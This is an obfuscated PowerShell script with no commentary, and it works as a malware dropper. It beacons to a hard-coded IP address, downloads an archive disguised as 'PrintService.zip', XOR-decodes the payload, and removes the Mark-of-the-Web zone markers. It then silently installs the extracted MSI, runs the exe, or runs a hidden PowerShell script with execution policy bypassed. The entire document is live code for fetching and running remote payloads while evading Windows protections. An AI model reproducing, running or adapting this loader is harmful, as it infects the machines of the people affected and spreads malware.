$qJyv = 'Silent'; $lFYD = 'lyContinue'; $ProgressPreference = ($qJyv + $lFYD); $global:ProgressPreference = $ProgressPreference try { $WsSTg = [guid]::NewGuid().ToString("N"); $cbu = "http://93.152.223.160/dl-callback/h6gekp4f-zc4m4q95-tnjbs99y-ckjmffy6/PrintService.zip/" + $WsSTg $lkUwr = [ordered]@{} $rgETn = "X-Panel-Callback" $PbDJC = "1" $lkUwr[$rgETn] = $PbDJC Invoke-WebRequest -Uri $cbu -Headers $lkUwr -UseBasicParsing -TimeoutSec 15 | Out-Null } catch { } $WrMMYk = $env:TEMP New-Item -ItemType Directory -Path $WrMMYk -Force | Out-Null $pFjzOV = $null function HfJOksp { param([string]$u, [string]$p, [string]$n = '') $ProgressPreference = 'SilentlyContinue'; $global:ProgressPreference = 'SilentlyContinue' $destDir = Split-Path $p -Parent if ($destDir -and -not (Test-Path $destDir)) { New-Item -ItemType Directory -Path $destDir -Force | Out-Null } Remove-Item -Path $p -Force -ErrorAction SilentlyContinue $Kpts = '' $ExSPu = $false while (-not $ExSPu) { $gjLpZ = Join-Path $env:TEMP ([guid]::NewGuid().ToString('N') + '.dat') Remove-Item -Path $gjLpZ -Force -ErrorAction SilentlyContinue try { & curl.exe -L -f -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" -H "X-Panel-Internal: 1" -o $gjLpZ -- $u if ($LASTEXITCODE -eq 0 -and (Test-Path $gjLpZ) -and ((Get-Item $gjLpZ).Length -gt 0)) { $onMZb = [IO.File]::ReadAllBytes($gjLpZ) Remove-Item -Path $gjLpZ -Force -ErrorAction SilentlyContinue if ($onMZb.Length -ge 2 -and $onMZb[0] -eq 0x4D -and $onMZb[1] -eq 0x5A) { [IO.File]::WriteAllBytes($p, $onMZb) } elseif ($Kpts -and $onMZb.Length -gt 0) { $WGLo = if ($n) { $n } else { [IO.Path]::GetFileName($p) } $hXnZ = $WGLo $TXWE = 'rx:' + $Kpts + ':' + $hXnZ $POEQ = New-Object System.Security.Cryptography.SHA256Managed $nEqQ = $POEQ.ComputeHash([Text.Encoding]::UTF8.GetBytes($TXWE))[0..31] $zfued = New-Object byte[] $onMZb.Length $IiAi = $nEqQ.Length for ($peT = 0; $peT -lt $onMZb.Length; $peT++) { $zfued[$peT] = $onMZb[$peT] -bxor $nEqQ[$peT % $IiAi] } [IO.File]::WriteAllBytes($p, $zfued) } else { [IO.File]::WriteAllBytes($p, $onMZb) } if ((Test-Path $p) -and ((Get-Item $p).Length -gt 0)) { try { Unblock-File -Path $p -ErrorAction SilentlyContinue } catch { } try { Remove-Item -Path $p -Stream Zone.Identifier -ErrorAction SilentlyContinue } catch { } $ExSPu = $true } } } catch { } if (-not $ExSPu) { Start-Sleep -Seconds 5 } } return ($ExSPu -and (Test-Path $p) -and ((Get-Item $p).Length -gt 0)) } function CxgVcel { param([string]$p) $HpCAAh = $p + "_x" try { if (Test-Path $HpCAAh) { Remove-Item $HpCAAh -Recurse -Force -EA 0 } } catch { } New-Item -ItemType Directory -Path $HpCAAh -Force | Out-Null $xOk = $false if ([IO.Path]::GetExtension($p).ToLower() -eq ".zip" -and (-not $pFjzOV)) { try { Expand-Archive -Path $p -DestinationPath $HpCAAh -Force; $xOk = $true } catch { } if (-not $xOk) { try { Add-Type -AssemblyName System.IO.Compression.FileSystem -EA 0 [IO.Compression.ZipFile]::ExtractToDirectory($p, $HpCAAh) $xOk = $true } catch { } } } if (-not $xOk) { @("C:\Program Files\7-Zip\7z.exe","C:\Program Files (x86)\7-Zip\7z.exe") | ForEach-Object { if ($xOk -or -not (Test-Path $_)) { return } $za = "x `"$p`" -o`"$HpCAAh`" -y" if ($pFjzOV) { $za += " -p`"$pFjzOV`"" } $zp = Start-Process -FilePath $_ -ArgumentList $za -Wait -PassThru -WindowStyle Hidden if ($zp.ExitCode -eq 0) { $xOk = $true } } } if (-not $xOk) { @("C:\Program Files\WinRAR\Rar.exe","C:\Program Files (x86)\WinRAR\Rar.exe") | ForEach-Object { if ($xOk -or -not (Test-Path $_)) { return } $ra = "x -y" if ($pFjzOV) { $ra += " -p`"$pFjzOV`"" } $ra += " `"$p`" `"$HpCAAh`"" Start-Process -FilePath $_ -ArgumentList $ra -Wait -WindowStyle Hidden $xOk = $true } } $msi = Get-ChildItem -Path $HpCAAh -Recurse -Filter "*.msi" -EA 0 | Sort-Object { $_.FullName.Split([char]92).Count }, { -$_.Length } | Select-Object -First 1 if ($msi) { $GZltmJ = $msi.FullName if (-not (Test-Path $GZltmJ)) { return } try { Unblock-File -Path $GZltmJ -ErrorAction SilentlyContinue } catch { } try { Remove-Item -Path $GZltmJ -Stream Zone.Identifier -ErrorAction SilentlyContinue } catch { } $zYMX = Join-Path $env:SystemRoot ("System32\" + "msi" + "exec.exe") if ($env:PROCESSOR_ARCHITECTURE -eq "x86" -and (Test-Path (Join-Path $env:SystemRoot "Sysnative\msiexec.exe"))) { $zYMX = Join-Path $env:SystemRoot "Sysnative\msiexec.exe" } & $zYMX /i $GZltmJ /qn /norestart return } $exes = @(Get-ChildItem -Path $HpCAAh -Recurse -Filter "*.exe" -EA 0 | Where-Object { $_.Name.ToLower() -notin @('wget.exe','curl.exe','winrar.exe','rar.exe','7z.exe','7za.exe','7zfm.exe','7zg.exe','unrar.exe','bsdtar.exe','tar.exe','expand.exe','bitsadmin.exe','setup.exe','install.exe') }) $runDir = Join-Path $HpCAAh "run" if (-not (Test-Path $runDir)) { $runHit = Get-ChildItem -Path $HpCAAh -Recurse -Directory -EA 0 | Where-Object { $_.Name -ieq "run" } | Select-Object -First 1 if ($runHit) { $runDir = $runHit.FullName } } if ($runDir -and (Test-Path $runDir)) { $inRunOnly = @($exes | Where-Object { $_.FullName.StartsWith($runDir, [StringComparison]::OrdinalIgnoreCase) }) if ($inRunOnly.Count -gt 0) { $exes = $inRunOnly } } $pick = $null if ($exes.Count -gt 0) { $inRun = @($exes | Where-Object { $_.FullName -match '[\\/]run[\\/]' } | Sort-Object { $_.FullName.Split([char]92).Count }, { -$_.Length }) if ($inRun.Count -gt 0) { $pick = $inRun[0] } if (-not $pick) { $archBase = [IO.Path]::GetFileNameWithoutExtension($p) $named = @($exes | Where-Object { $_.BaseName -like ($archBase + '*') -or $archBase -like ($_.BaseName + '*') } | Sort-Object { -$_.Length }) if ($named.Count -gt 0) { $pick = $named[0] } } if (-not $pick) { $pick = ($exes | Sort-Object { -$_.Length } | Select-Object -First 1) } } if ($pick) { $GZltmJ = $pick.FullName if (-not (Test-Path $GZltmJ)) { return } try { Unblock-File -Path $GZltmJ -ErrorAction SilentlyContinue } catch { } try { Remove-Item -Path $GZltmJ -Stream Zone.Identifier -ErrorAction SilentlyContinue } catch { } if (Test-Path $GZltmJ) { Start-Process -FilePath $GZltmJ } return } $ps1 = Get-ChildItem -Path $HpCAAh -Recurse -Filter "*.ps1" -EA 0 | Select-Object -First 1 if ($ps1) { $GZltmJ = $ps1.FullName if (-not (Test-Path $GZltmJ)) { return } try { Unblock-File -Path $GZltmJ -ErrorAction SilentlyContinue } catch { } try { Remove-Item -Path $GZltmJ -Stream Zone.Identifier -ErrorAction SilentlyContinue } catch { } Start-Process powershell.exe -WindowStyle Hidden -ArgumentList @("-NoProfile","-ExecutionPolicy","Bypass","-File",$GZltmJ) } } $lacXen = "http://93.152.223.160/h6gekp4f-zc4m4q95-tnjbs99y-ckjmffy6/PrintService.zip" $ZpLvYQ = Join-Path $WrMMYk "PrintService.zip" if (& HfJOksp $lacXen $ZpLvYQ "PrintService.zip") { & CxgVcel $ZpLvYQ }